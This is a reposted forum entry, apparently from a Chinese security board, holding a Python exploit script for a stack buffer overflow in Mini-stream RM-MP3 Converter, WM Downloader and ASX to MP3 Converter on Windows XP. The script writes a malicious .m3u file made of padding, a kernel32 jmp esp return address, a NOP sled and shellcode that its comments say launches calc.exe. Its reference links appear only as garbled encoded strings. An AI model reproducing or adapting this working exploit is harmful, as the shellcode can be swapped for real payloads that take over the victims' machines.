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[转帖]Mini-stream RM-MP3 Converter/WMDownloader/ASX to MP3 Converter Stack Buffer Overf
发表于: 2010-8-3 07:47 3585

[转帖]Mini-stream RM-MP3 Converter/WMDownloader/ASX to MP3 Converter Stack Buffer Overf

2010-8-3 07:47
3585
# Tested on Windows XP SP3 Pro
# Found By : Cyber-Zone (ABDELKHALEK)
# ac4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4W2j5%4g2J5K9i4c8&6k6X3!0U0N6i4y4Q4x3X3g2U0L8$3#2Q4x3V1k6T1K9h3c8Q4x3V1j5K6y4o6b7&6y4l9`.`.
# The way exploit written is slightly different than above Vulnerability
# Refer:
617K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3c8G2N6$3&6D9L8$3q4V1M7#2)9J5k6i4y4W2j5%4g2J5K9i4c8&6k6X3!0U0N6i4y4Q4x3X3g2U0L8$3#2Q4x3V1k6$3N6h3I4F1k6i4u0S2j5X3W2D9K9i4c8A6k6i4y4Q4x3V1k6W2P5s2m8D9L8$3W2@1M7#2)9J5c8U0x3@1y4o6V1@1i4K6u0V1x3W2)9J5k6i4m8D9
# Download product : 540K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4u0E0i4K6u0V1N6r3!0Q4x3X3c8E0M7o6y4Q4x3X3g2F1k6i4c8Q4x3V1k6V1L8%4N6F1L8r3!0S2k6s2y4Q4x3V1k6i4e0f1c8G2N6$3&6D9L8$3q4V1k6i4u0Q4x3X3g2W2P5r3f1`.
#         2b9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4u0E0i4K6u0V1N6r3!0Q4x3X3c8E0M7o6y4Q4x3X3g2F1k6i4c8Q4x3V1k6V1L8%4N6F1L8r3!0S2k6s2y4Q4x3V1k6y4K9h3&6A6i4K6u0V1M7%4c8J5k6h3q4E0f1V1#2Q4x3X3c8y4f1o6y4o6L8$3&6$3k6i4u0@1k6i4u0Q4x3X3g2W2P5r3f1`.
#         13eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4u0E0i4K6u0V1N6r3!0Q4x3X3c8E0M7o6y4Q4x3X3g2F1k6i4c8Q4x3V1k6V1L8%4N6F1L8r3!0S2k6s2y4Q4x3V1k6m8f1#2S2@1L8@1#2b7x3@1y4G2L8Y4k6W2M7Y4c8W2M7W2)9J5k6h3g2^5k6b7`.`.
# THIS EXPLOIT WORKS FOR ALL THE 3 INSTALLERS ABOVE
# corelanc0d3r: Greetz from INDIA

handler = "ftp://"
buff1 = "D" * 17418
#eip = "\x7D\xA5\x04\x10"
#0x1004A57D  jmp esp   C:\Program Files\Mini-stream\WM
Downloader\WDfilter01.dll
#ABOVE ADDRESSES DIDN'T WORK FOR ME
eip = "\x7b\x46\x86\x7c"     # 0x7C86467B      jmp esp   kernel32.dll

# both SHELLCODES pops calc.exe
code2exec =
("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca")
"""
code2exec =
("\x31\xc9\xda\xd4\xb1\x33\xbd\xec\x71\x94\xde\xd9\x74\x24\xf4\x5f\x31\x6f\x15\x03\x6f\x15\x83\x2b\x75\x76\x2b\x4f\x9e\xff\xd4\xaf\x5f\x60\x5c\x4a\x6e\xb2\x3a\x1f\xc3\x02\x48\x4d\xe8\xe9\x1c\x65\x7b\x9f\x88\x8a\xcc\x2a\xef\xa5\xcd\x9a\x2f\x69\x0d\xbc\xd3\x73\x42\x1e\xed\xbc\x97\x5f\x2a\xa0\x58\x0d\xe3\xaf\xcb\xa2\x80\xed\xd7\xc3\x46\x7a\x67\xbc\xe3\xbc\x1c\x76\xed\xec\x8d\x0d\xa5\x14\xa5\x4a\x16\x25\x6a\x89\x6a\x6c\x07\x7a\x18\x6f\xc1\xb2\xe1\x5e\x2d\x18\xdc\x6f\xa0\x60\x18\x57\x5b\x17\x52\xa4\xe6\x20\xa1\xd7\x3c\xa4\x34\x7f\xb6\x1e\x9d\x7e\x1b\xf8\x56\x8c\xd0\x8e\x31\x90\xe7\x43\x4a\xac\x6c\x62\x9d\x25\x36\x41\x39\x6e\xec\xe8\x18\xca\x43\x14\x7a\xb2\x3c\xb0\xf0\x50\x28\xc2\x5a\x3e\xaf\x46\xe1\x07\xaf\x58\xea\x27\xd8\x69\x61\xa8\x9f\x75\xa0\x8d\x40\x94\x61\xfb\xe8\x01\xe0\x46\x75\xb2\xde\x84\x80\x31\xeb\x74\x77\x29\x9e\x71\x33\xed\x72\x0b\x2c\x98\x74\xb8\x4d\x89\x16\x5f\xde\x51\xf7\xfa\x66\xf3\x07")
"""
noop = "\x90" * 10
# 4 bytes is enough to make ESP point to SHELLCODE
print "code2exec offset is:",(40000 - len(handler) - len(buff1) - len(eip) -
len(noop) - len(code2exec))

buff2 = "Z" * (40000 - len(handler) - len(buff1) - len(eip) - len(noop) -
len(code2exec))
mal_buff = handler + buff1 + eip + noop + code2exec + buff2
try:
    wmdownloader = open ("wmdownloader_codeexec.m3u","w")
    wmdownloader.write (mal_buff)
    wmdownloader.close()
    print "\n\n[+] Coded by Praveen Darshanam"
    print "[+] Malicious M3U File Successfully created\n\n"
except:
    print "\n[+] Unable to create file . . .\n"

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